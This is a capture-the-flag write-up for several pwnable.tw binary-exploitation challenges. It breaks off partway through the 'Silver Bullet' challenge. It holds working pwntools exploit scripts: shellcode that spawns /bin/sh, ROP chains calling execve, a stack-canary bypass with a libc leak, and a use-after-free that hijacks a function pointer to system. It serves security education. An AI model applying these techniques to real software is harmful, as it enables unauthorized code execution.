# pwnable.tw (part 1)
# 1. orw
## Analyze
We have a binary file. And the hint is send a shellcode with only `open, read, write` syscall.


So our idea is push the name of file into stack, which is `rsp` register. Then open it, read it and write it to our screen.
For pushing directory to stack:
```c!
push 0x0
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
```
because this is 32 bit program, so i only write 4 bytes each time, with little endian order. And lastly, we must push the null byte in the end
For registers to open, read, write, you can read in [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit), in x86 section.
## Script
```python!
#!/usr/bin/env python3
from pwn import *
shellcode = asm(
'''
push 0x0
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
xor eax, eax
mov eax, 0x5
xor ecx, ecx
mov ebx, esp
int 0x80
mov eax, 0x3
mov ebx, 3
mov ecx, esp
mov edx, 0x40
int 0x80
mov eax, 0x4
mov ebx, 0x1
int 0x80
''', arch = 'i386')
r = remote("chall.pwnable.tw", 10001)
r.sendline(shellcode)
r.interactive()
```
Flag: ```FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}```
# 2. start
We have given 2 functions when decompile file binary: `start()` and `exit()`


Maybe it's some assembly code. In 32 bits, `int 0x80` is the same as `syscall` in 64 bits to call the syswrite function. So we can execute shellcode here.
We want to execute `execve('/bin/sh', 0,0)`. In gdb, the `_start` will be like this:

It use some `push` instruction to push parameter into stack. After that, it `mov al 0x4`, which is preparing to call syscall `write`:

to put in our input.
When we run the binary file, we know that it's this string:

Next, it will add `esp + 0x14` so we know that is the return address

You can see the return address is in `0xffffd5f8 = esp+0x14`. Because there is no limit for our input so we can overflow the return address, we can return to our input so we can leak out the `saved rbp`. After that, we can input our shellcode to execute `execve('/bin/sh', 0,0)`.
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./start")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = connect("chall.pwnable.tw", 10000)
return r
def main():
r = conn()
input()
# good luck pwning :)
shellcode = asm(
'''
mov al, 0xb
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
''', arch = 'i386')
payload = b'A'*20 + flat(0x08048086)
r.sendafter(b'CTF:', payload)
pause()
saved_ebp = u32(r.recv(4))
info('Saved ebp: ' + hex(saved_ebp))
payload = shellcode.ljust(20,b'\x00') + p32(saved_ebp-4) + b'/bin/sh\0'
r.send(payload)
pause()
r.interactive()
if __name__ == "__main__":
main()
# FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
```
# 3. calc
We got a binary file. Decompile it:

Get into the `calc()`:
```c!
unsigned int calc()
{
int count[101]; // [esp+18h] [ebp-5A0h] BYREF
char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 1024);
if ( !get_expr((int)s, 1024) )
break;
init_pool(count);
if ( parse_expr((int)s, count) )
{
printf("%d\n", count[count[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
```
We get some function here: `get_expr()`, `init_pool()` and `parse_expr()`.
Let's go for the first one:
```c!
int __cdecl get_expr(char *str, int length)
{
int v2; // eax
char input; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( v5 < length && read(0, (int)&input, 1) != -1 && input != 10 )
{
if ( input == '+' || input == '-' || input == '*' || input == '/' || input == '%' || input > '/' && input <= '9' )
{
v2 = v5++;
str[v2] = input;
}
}
str[v5] = 0;
return v5;
}
```
It reads maximum `1024` bytes from input, only allow numbers and operations then saved it into our `str` or `s` in `calc()` function .
Next, it calls `init_pool()`, take a array `count` with 101 elements as parameter:
```c!
int *__cdecl init_pool(int *a1)
{
int *result; // eax
int i; // [esp+Ch] [ebp-4h]
result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}
```
It inits 100 value 0 for the array. But if we see where is the `count()` array:

it's right above some variable. But we'll talk about it later.
If initialized successfull, it checks a condition with return value of `parse_expr()`:
```c!
int __cdecl parse_expr(int expr, int *count)
{
int v3; // eax
_BYTE *v4; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int j; // [esp+28h] [ebp-80h]
int v7; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v4 = (_BYTE *)expr;
j = 0;
bzero(s, 100);
for ( i = 0; ; ++i )
{
if ( *(char *)(i + expr) - (unsigned int)'0' > 9 )
{
v7 = i + expr - (_DWORD)v4;
s1 = (char *)malloc(v7 + 1);
memcpy(s1, v4, v7);
s1[v7] = 0;
if ( !strcmp(s1, &zeroCheck) )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v3 = (*count)++;
count[v3 + 1] = v9;
}
if ( *(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = (_BYTE *)(i + 1 + expr);
if ( s[j] )
{
switch ( *(_BYTE *)(i + expr) )
{
case '%':
case '*':
case '/':
if ( s[j] != '+' && s[j] != '-' )
goto LABEL_14;
s[++j] = *(_BYTE *)(i + expr);
break;
case '+':
case '-':
LABEL_14:
eval(count, s[j]);
s[j] = *(_BYTE *)(i + expr);
break;
default:
eval(count, s[j--]);
break;
}
}
else
{
s[j] = *(_BYTE *)(i + expr);
}
if ( !*(_BYTE *)(i + expr) )
break;
}
}
while ( j >= 0 )
eval(count, s[j--]);
return 1;
}
```
It set 0 for a 100-char string, then checks if our input has any operation:

If exists, it calculates the length of string to that operation, malloc a chunk then copy all things from our input to that operation into a chunk:


And it also does not allow 0 before any operations. Then it converts that data in the chunk into integer, then saves it into `count` array:

Then it will checks if there is any operation after a operation, the program will exit if our input contains like this: `++`

Next, it uses `v4` to save the next char after the operation

For the condition, it checks the `s[j]` was zero or not. If it's not null, it will execute a switch-case. Otherwise, it saves the recent operation into it:

For switch-case: It will call `eval`. Before that, it will check the value in `expr[i]` is a operation or not.
`eval()` function:
```c!
int *__cdecl eval(int *count, char operation)
{
int *result; // eax
if ( operation == '+' )
{
count[*count - 1] += count[*count];
}
else if ( operation > 43 )
{
if ( operation == '-' )
{
count[*count - 1] -= count[*count];
}
else if ( operation == '/' )
{
count[*count - 1] /= count[*count];
}
}
else if ( operation == '*' )
{
count[*count - 1] *= count[*count];
}
result = count;
--*count;
return result;
}
```
It is just calculate between `count[i - 1]` and `count[i]` and then saved it to `count[i - 1]`. Then return the `count[i]`
But you remember `var_59C` before? Because it initialize the `count`, it will change that array too. And this code in `parse_expr()`

Showed that the `count` array is actually worked from index 1, or index 0 of `var_59C`. So we can call `var_59C` as `Number` array. After changes, you can see the different in `calc()` function:

So what do we do now? It seems like there's no bug overflow or anything. Buttt

This code in `parse_expr()` get an error. Because there is no check if expression starts with operation. If it happens, like `+5`, then what will it do?

It returns 0. And more example:

Let's analyze the flow code here. First with `+5`, it pass the condition check operation, because there is no character before the operation, then `s1` will be 0. `v9` is either.

Then `v4` will contains `5`. Next, it saves `+` to `s[j]` then call `eval()`. Because it will calculate `count[*count-1] += count[*count]`, it is the same as `Number[count-2] += Number[count-1]`, then it reduces `count`. So the result will be saved in `Number[count-1]`. So if we add `+5+6`, it can change the value in `Number[count-1]`, and also change `count[count]`.
But i'm struggling with understanding the payload while reading writeups. For more information, you can read [here](https://github.com/johnathanhuutri/CTFWriteup/blob/master/online/pwnable.tw/calc/solve.py)
# 4. 3x17
We decompile the binary file:

The code is made for avoiding us to read clearly. But we still could find the start.
```c!
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
sub_401EB0(
(unsigned int)sub_401B6D,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_4028D0,
(unsigned int)sub_402960,
a3,
(__int64)&v5);
__halt();
}
```
`sub_401EB0` maybe some control function:
```c!
// write access to const memory has been detected, the output may be wrong!
void __fastcall __noreturn sub_401EB0(
__int64 (__fastcall *a1)(_QWORD, __int64, __int64),
unsigned int a2,
__int64 a3,
void (__fastcall *a4)(_QWORD, __int64, __int64),
__int64 a5,
__int64 a6,
__int64 a7)
{
__int64 v10; // rdi
__int64 v11; // rax
int v17; // eax
__int64 (__fastcall ***i)(); // rbx
__int64 v19; // rax
__int64 *v20; // r14
int v31; // eax
unsigned __int64 v32; // rax
unsigned int v33; // eax
signed __int64 v34; // rax
const char *v35; // rax
int v36; // eax
int v47; // eax
int v48; // eax
int v51; // [rsp+28h] [rbp-D0h] BYREF
int v52; // [rsp+2Ch] [rbp-CCh] BYREF
int v53; // [rsp+30h] [rbp-C8h] BYREF
unsigned int v54; // [rsp+34h] [rbp-C4h] BYREF
char v55[4]; // [rsp+38h] [rbp-C0h] BYREF
char v56[4]; // [rsp+3Ch] [rbp-BCh] BYREF
char v57[8]; // [rsp+40h] [rbp-B8h] BYREF
__int64 v58; // [rsp+48h] [rbp-B0h] BYREF
__int64 v59; // [rsp+50h] [rbp-A8h] BYREF
__int64 v60; // [rsp+58h] [rbp-A0h] BYREF
char v61[72]; // [rsp+60h] [rbp-98h] BYREF
unsigned __int64 v62; // [rsp+A8h] [rbp-50h]
unsigned __int64 v63; // [rsp+B0h] [rbp-48h]
dword_4B8798 = 0;
nullsub_1();
v10 = a3 + 8LL * (int)a2 + 8;
qword_4B9DA8 = v10;
qword_4B6AB0 = a7;
do
v10 += 8LL;
while ( *(_QWORD *)(v10 - 8) );
sub_44AC60();
if ( !qword_4BA8B8 && &dword_400000 )
{
if ( *((_WORD *)&dword_400000 + 27) != 56 )
sub_402B10("__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)", "../csu/libc-start.c", 180LL, "__libc_start_main");
v11 = *((unsigned __int16 *)&dword_400000 + 28);
qword_4BA8B8 = (__int64)&dword_400000 + *((_QWORD *)&dword_400000 + 4);
qword_4BA8F0 = v11;
}
sub_44B870();
sub_44A610(qword_4B9DA8);
_RAX = 0LL;
v51 = 0;
__asm { cpuid }
v52 = 0;
dword_4B9DE4 = _RAX;
if ( (_DWORD)_RBX == 1970169159 && (_DWORD)_RCX == 1818588270 )
{
if ( (_DWORD)_RDX != 1231384169 )
{
LABEL_10:
sub_401C50(0LL, 0LL, 0LL, 0LL);
v17 = 3;
goto LABEL_11;
}
sub_401C50(&v51, &v52, &v53, &v54);
_RAX = 0x80000000LL;
__asm { cpuid }
if ( (unsigned int)_RAX > 0x80000000 )
{
_RAX = 2147483649LL;
__asm { cpuid }
dword_4B9E08 = _RAX;
dword_4B9E0C = _RBX;
dword_4B9E10 = _RCX;
dword_4B9E14 = _RDX;
}
if ( v51 == 6 )
{
v52 += v53;
switch ( v52 )
{
case 26:
case 30:
case 31:
case 37:
case 44:
case 46:
case 47:
goto LABEL_79;
case 28:
case 38:
dword_4B9E2C |= 4u;
break;
case 55:
case 74:
case 76:
case 77:
case 87:
case 90:
case 92:
case 93:
case 95:
dword_4B9E2C |= 0x40230u;
break;
case 60:
case 69:
case 70:
goto LABEL_75;
case 63:
if ( v54 <= 3 )
LABEL_75:
dword_4B9DFC &= ~0x800u;
break;
default:
if ( (dword_4B9DF0 & 0x10000000) != 0 )
LABEL_79:
dword_4B9E2C |= 0x40031u;
break;
}
}
v47 = dword_4B9E2C | 0x100000;
if ( (dword_4B9DFC & 0x8000000) != 0 )
v47 = dword_4B9E2C | 0x20000;
dword_4B9E2C = v47;
v17 = 1;
}
else
{
if ( (_DWORD)_RCX != 1145913699 || (_DWORD)_RBX != 1752462657 || (_DWORD)_RDX != 1769238117 )
goto LABEL_10;
sub_401C50(&v51, &v52, v55, v56);
_RAX = 0x80000000LL;
__asm { cpuid }
if ( (unsigned int)_RAX > 0x80000000 )
{
_RAX = 2147483649LL;
__asm { cpuid }
dword_4B9E08 = _RAX;
dword_4B9E0C = _RBX;
dword_4B9E10 = _RCX;
dword_4B9E14 = _RDX;
}
v31 = dword_4B9E2C;
if ( (dword_4B9E2C & 0x40) != 0 && (dword_4B9E10 & 0x10000) != 0 )
{
BYTE1(v31) = BYTE1(dword_4B9E2C) | 1;
dword_4B9E2C = v31;
}
if ( v51 == 21 && (unsigned int)(v52 - 96) <= 0x1F )
{
v48 = dword_4B9E2C;
BYTE1(v48) = BYTE1(dword_4B9E2C) & 0xF7;
dword_4B9E2C = v48 | 0x12;
}
v17 = 2;
}
LABEL_11:
if ( (dword_4B9DF4 & 0x100) != 0 )
dword_4B9E2C |= 0x4000u;
if ( (dword_4B9DF4 & 0x8000) != 0 )
dword_4B9E2C |= 0x8000u;
dword_4B9DE0 = v17;
dword_4B9E18 = v51;
dword_4B9E1C = v52;
sub_44ABE0(0LL, v57, sub_44B900);
sub_44ABE0(13LL, &v58, 0LL);
qword_4B9E40 = v58;
sub_44ABE0(21LL, &v59, 0LL);
qword_4B9E30 = v59;
sub_44ABE0(14LL, &v60, 0LL);
qword_4B9DC8 = 2LL;
qword_4B9E38 = v60;
if ( dword_4B9DE0 != 1 )
{
LABEL_16:
for ( i = &off_400248; (unsigned __int64)i < 0x400470; i += 3 )
{
v20 = (__int64 *)*i;
if ( *((_DWORD *)i + 2) != 37 )
sub_413540("unexpected reloc type in static binary");
v19 = ((__int64 (*)(void))i[2])();
*v20 = v19;
}
sub_402690();
v32 = *(_QWORD *)qword_4B6AA0;
LOBYTE(v32) = 0;
__writefsqword(0x28u, v32);
if ( !dword_4B8798 )
{
v36 = sub_44C590();
if ( v36 < 0 )
sub_413540("FATAL: cannot determine kernel version\n");
if ( !dword_4BA910 || dword_4BA910 > (unsigned int)v36 )
dword_4BA910 = v36;
if ( v36 <= 197119 )
sub_413540("FATAL: kernel too old\n");
}
...
```
In `sub_401b6d`:
```c!
__int64 sub_401B6D()
{
__int64 result; // rax
char *v1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, buf, 0x18uLL);
v1 = (char *)(int)sub_40EE70(buf);
sub_446EC0(1u, "data:", 5uLL);
sub_446E20(0, v1, 0x18uLL);
result = 0LL;
}
if ( __readfsqword(0x28u) != v3 )
sub_44A3E0();
return result;
}
```
So this maybe our main function. If we run the binary file:

But input into, we don't have anything much. You can see the position of `data` and `addr`, it is in `rbp-0x20` and `rbp-0x28`. So maybe the program will let us change the data in the input address.
So what do we do now? I thought we can use ROP to pop a shell, but our payload is limited in `0x18`. So we must do something to return to our main function.
But our stack is using dynamical address


And we cannot leak any data, so we cannot overwrite the `ret` address.
I read some writeup and they used overwrite `.fini_array`.
:::info
`.fini_array` is a binary section, contains necessary deconstructor functions when function `main()` return. Opposite from `.fini_array`, `.init_array` contains constructor functions.
:::
`.fini_array` has 2 entries:
- `do_global_dtors_aux`: destructors used when `.fini_array` is not recognized.
- `foo_destructor`: the address of destructor function.
It will execute `foo_destructor` first, then `.fini_array`.

You can read more in [here](https://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html)
Our idea is to overwrite `foo_destructor` to `main()` so we can control the flow.
We know the address of `main()` because no PIE enabled.
For `.fini_array`, because IDA is kinda confusing, i will use ghidra to decompile.

so `.fini_array` address is `0x401b00`. Or you can find it in the `entry()`:

The `0x402960` is the address of `__libc_csu_fini`. Go into it:

We also get the address of `.fini_array` too.
Overwrite `foo_destructor`:

so now the program will return to main.

Now we want to find some gadget to execute `execve('/bin/sh', 0, 0)`:





And also, a `rw_section` for us to write `/bin/sh`.
We can find it in rw section of binary:

This space is enough for us to write `/bin/sh\0`.
And to read, we need to find the address of `read()` function too.

`read()` function maybe in `0x446e20`
After retrun, you can see `rbp` is points to `.fini_array`:

so our return address will be `.fini_array + 0x8`. After that is our payload, from `.fini_array + 0x10`.
Our payload will be like this:

First, it prepares registers for `read()` syscall

Then after that, it will call `execve()`.
Next, we will overwrite `.fini_array+0x10` to our payload. Because we can only input `0x18` for `data` each time, so we must make a loop:

Next, we want to return our program.

We can find the `leave_ret` and `ret` here.
Script:
```python!
#!/usr/bin/python3
from pwn import *
exe = ELF("./3x17")
context.binary = exe
r = process([exe.path])
# r = connect('chall.pwnable.tw', 10105)
input()
libc_csu_fini = 0x402960
fini_array = 0x04b40f0
main = 0x0401b6d
payload = flat(libc_csu_fini, main)
# Overwrite the foo_destructor of .fini_array to main so it will return to main
r.sendlineafter(b'addr:', f'{fini_array}'.encode())
r.sendlineafter(b'data:', payload)
pause()
# Finding some gadget
pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rdx = 0x0000000000446e35
pop_rsi = 0x0000000000406c30
syscall = 0x00000000004022b4
rw_section = 0x00000000004b4000
read_addr = 0x446e20
# This is for overwrite to do pivot stack
payload = flat(
pop_rdi, 0,
pop_rsi, rw_section,
pop_rdx, 8,
read_addr,
pop_rax, 0x3b,
pop_rdi, rw_section,
pop_rdx, 0,
pop_rsi, 0,
syscall
)
for i in range(0, len(payload), 0x18):
r.sendafter(b'addr:', f'{fini_array + 0x10 + i}'.encode())
r.sendafter(b'data:', payload[i:i+0x18])
leave_ret = 0x0000000000401c4b
ret = leave_ret + 1
r.sendafter(b'addr:', f'{fini_array}'.encode())
r.sendafter(b'data:', flat(leave_ret, ret))
input("Continue...")
r.send(b'/bin/sh\0')
r.interactive()
# FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}
```

# 5. dubblesort
This time, we get libc file to patch.

Decompile binary file:
```c!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int **v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int amount; // [esp+18h] [ebp-74h] BYREF
int num_arr[8]; // [esp+1Ch] [ebp-70h] BYREF
int name; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]
v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &name, 64);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &amount);
v3 = amount;
if ( amount )
{
v4 = (int **)num_arr;
for ( i = 0; i < amount; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = amount;
++v4;
}
}
sort(num_arr, v3);
puts("Result :");
if ( amount )
{
for ( j = 0; j < amount; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
return sub_BA0();
return result;
}
```
It first read our name, then let us input an array. Then it will sort our array. But wait, our array's size is only 8. So we have a buffer overflow here. Next, in `sort()` function:
```c!
unsigned int __cdecl sort(unsigned int *num_arr, int size)
{
int v2; // ecx
int i; // edi
unsigned int v4; // edx
unsigned int v5; // esi
unsigned int *numPtr; // eax
unsigned int result; // eax
unsigned int v8; // [esp+1Ch] [ebp-20h]
v8 = __readgsdword(0x14u);
puts("Processing......");
sleep(1);
if ( size != 1 )
{
v2 = size - 2;
for ( i = (int)&num_arr[size - 1]; ; i -= 4 )
{
if ( v2 != -1 )
{
numPtr = num_arr;
do
{
v4 = *numPtr;
v5 = numPtr[1];
if ( *numPtr > v5 )
{
*numPtr = v5;
numPtr[1] = v4;
}
++numPtr;
}
while ( (unsigned int *)i != numPtr );
if ( !v2 )
break;
}
--v2;
}
}
result = __readgsdword(0x14u) ^ v8;
if ( result )
return sub_BA0();
return result;
}
```
It seems fine.
When i run the file and input name, something strange appears. I thought it was some mistake of my computer but it comes from a bug of program:

That strange string after or name is some leaking data. Checking in gdb:

I set breakpoint in `main+116` to see where is our string.


So this is the leak data. Why? Because `printf()` only stop when scan to byte null. But after `read()` name from input, the program did not nulldify the last character, so we can leak libc address by using this bug.



So now we have libc and /bin/sh address.
Because there is a buffer overflow bug here, we can overwrite return address to system and pop a shell. But there is canary here, in `ebp-0x10`:

And our `num_arr` starts in `ebp-0x70`

So the offset to canary will be 25 or index 24.

About the size we want to input, first, 25 to canary + 8 more to return address + 2 more for return address of system() and system's parameter = 35
And also, we can payload canary by inputting `+` or `-`
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./dubblesort_patched", checksec=False)
libc = ELF("./libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = connect("chall.pwnable.tw", 10101)
return r
def main():
r = conn()
input()
# good luck pwning :)
# Leaking libc address on remote. In local, it should be 24 for padding and 28 in remote
r.sendlineafter(b'name :', b'A'*24)
pause()
r.recvuntil(b'A'*24)
libc_leak = u32(r.recv(4))
info('Libc leak: ' + hex(libc_leak))
libc.address = libc_leak - 0x1b000a
ret_system = libc.sym['system']
ret_binsh = next(libc.search('/bin/sh'))
info('Libc address: ' + hex(libc.address))
info('system: ' + hex(ret_system))
info('Binsh: ' + hex(ret_binsh))
pause()
r.sendlineafter(b'sort :', b'35')
for i in range(35):
payload = b''
# canary = $ebp-0x10, number = $ebp-70 so offset will be 25
if i < 24:
payload = b'1'
elif i == 24:
payload = b'-' #Bypass canary
elif i < 33:
payload = str(ret_system).encode() # Set return address to system
else:
payload = str(ret_binsh).encode() # Set return address to binsh and argument of system()
info(b'Payload: ' + payload)
r.sendlineafter(b'number : ', payload)
# if i == 24:
# pause()
pause()
r.interactive()
if __name__ == "__main__":
main()
#FLAG{Dubo_duBo_dub0_s0rttttttt}
```


# 6. hacknote
We have libc and file binary. Decompile binary file:
```c!
void __cdecl __noreturn main()
{
int choice; // eax
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
char v4[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, v4, 4);
choice = atoi(v4);
if ( choice != 2 )
break;
delete_note();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
print_note();
}
else
{
if ( choice == 4 )
exit(0, v1, v2, v3);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_13;
add_note();
}
}
}
```

An add,delete and view note menu.
`add_note()`:
```c!
unsigned int add_note()
{
Note *v0; // ebx
int v2; // [esp-Ch] [ebp-34h]
int v3; // [esp-Ch] [ebp-34h]
int v4; // [esp-8h] [ebp-30h]
int v5; // [esp-8h] [ebp-30h]
int v6; // [esp-4h] [ebp-2Ch]
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char v9[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v10; // [esp+1Ch] [ebp-Ch]
v10 = __readgsdword(0x14u);
if ( limit <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !noteArr[i] )
{
noteArr[i] = (Note *)malloc(8);
if ( !noteArr[i] )
{
puts("Alloca Error");
exit(-1, v2, v4, v6);
}
noteArr[i]->print_func = printFunction;
printf("Note size :");
read(0, v9, 8);
size = atoi(v9);
v0 = noteArr[i];
v0->content = (char *)malloc(size);
if ( !noteArr[i]->content )
{
puts("Alloca Error");
exit(-1, v3, v5, v6);
}
printf("Content :");
read(0, noteArr[i]->content, size);
puts("Success !");
++limit;
return __readgsdword(0x14u) ^ v10;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v10;
}
```
Struct of a `Note`:

We can malloc maximum 5 notes, each note has size and content. Nothing special here, just create.
`delete_note()`:
```c!
unsigned int delete_note()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= limit )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( noteArr[v4] )
{
free(noteArr[v4]->content);
free(noteArr[v4]);
puts("Success");
}
return __readgsdword(0x14u) ^ v6;
}
```
It first free the content then free the chunk contains note wanted to delete. But there is still pointer to that chunk in `noteArr`.
`print_note()`:
```c!
unsigned int print_note()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= limit )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( noteArr[v4] )
((void (__cdecl *)(Note *))noteArr[v4]->print_func)(noteArr[v4]);
return __readgsdword(0x14u) ^ v6;
}
```
Just print out the note.
Our target is still leaking the libc first. Because we have libc here, we just need to print out the value of puts.got so we can leak the libc.
And there is a trick here. Because it always has a chunk for size, which is `0x10` (in 32bit, metadata of a chunk has the size 0x8):


We can malloc 2 notes first, free them, and a note with the size `0x8`, so the third note will use the metadata of 2 previous note as its metadata and content. So we can use that trick to modify metadata of a note, overwrite the `print_func` to `system()` then printout the content, we will get the shell.
First, malloc 2 chunk and free it

The heap before free will be look like this:

The first 4 bytes is print function pointer, then the content pointer.
Now free them:

So now if i malloc a `0x8` note, it will take out 2 chunks in fastbin index 0:


You can see that the metadata of index 0 has been modified.
We can modify the `print_func` to puts address to printout the puts.got

Now the heap will be like this:


So if we call to print out note 0, it should give us the libc leak.

So with the same method, we can modify `print_func` to `system()` and the pointer to content, modify it to `;sh` which is the parameter of `system()`

Result:

Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./hacknote_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = connect("chall.pwnable.tw", 10102)
return r
def main():
r = conn()
input()
# good luck pwning :)
def add_note(size, data):
r.sendlineafter(b'Your choice :', b'1')
r.sendlineafter(b'Note size :', size)
r.sendlineafter(b'Content :', data)
def delete_note(index):
r.sendlineafter(b'Your choice :', b'2')
r.sendlineafter(b'Index :', index)
def print_note(index):
r.sendlineafter(b'Your choice :', b'3')
r.sendlineafter(b'Index :', index)
add_note(b'20', b'AAAA') # Create a chunk for modify
add_note(b'20', b'BBBB') # For contains metadata of note 2
# pause()
delete_note(b'0')
delete_note(b'1')
# pause()
add_note(b'8', p32(0x804862b)+p32(exe.got['puts'])) # 0x804862b is puts address, it will put out the address of got.puts
pause()
print_note(b'0')
libc_leak = u32(r.recv(4))
libc.address = libc_leak - libc.sym['puts']
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
system = libc.sym['system']
delete_note(b'2')
add_note(b'8', p32(system) + b';sh') # system() will execute the parameter sh, it will be system(); -> system(sh);
print_note(b'0')
pause()
r.interactive()
if __name__ == "__main__":
main()
# FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
```
# 7. Silver Bullet
We get libc 2.23 and binary file. Checksec:

FullRO, so we cannot overwrite .got. And static binary address.
Decompile binary file:
```c!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int boss_hp; // [esp+0h] [ebp-3Ch] BYREF
const char *boss_name; // [esp+4h] [ebp-38h]
char bullet[48]; // [esp+8h] [ebp-34h] BYREF
int v8; // [esp+38h] [ebp-4h]
init_proc();
v8 = 0;
memset(bullet, 0, sizeof(bullet));
boss_hp = 2147483647;
boss_name = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(boss_hp, boss_name);
v3 = read_int();
if ( v3 != 2 )
break;
power_up(bullet);
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_15;
create_bullet(bullet);
}
if ( v3 == 3 )
break;
if ( v3 == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_15:
puts("Invalid choice");
}
if ( beat(bullet, &boss_hp) )
return 0;
puts("Give me more power !!");
}
}
```
We got a boss fighting program, with powering bullet.
`create_bullet`:
```c!
int __cdecl create_bullet(Bullet *bullet)
{
int power; // [esp+0h] [ebp-4h]
if ( bullet->name[0] )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(bullet, 48);
power = strlen(bullet);
printf("Your power is : %u\n", power);
bullet->power = power;
return puts("Good luck !!");
}
```
Struct `Bullet`:

So it will read our input, also nulldify the last byte

And it takes `strlen` of our description as power.
`power_up()`
```c!
int __cdecl power_up(Bullet *bullet)
{
char v2[48]; // [esp+0h] [ebp-34h] BYREF
int v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(v2, 0, sizeof(v2));
if ( !bullet->name[0] )
return puts("You need create the bullet first !");
if ( bullet->power > 47u )
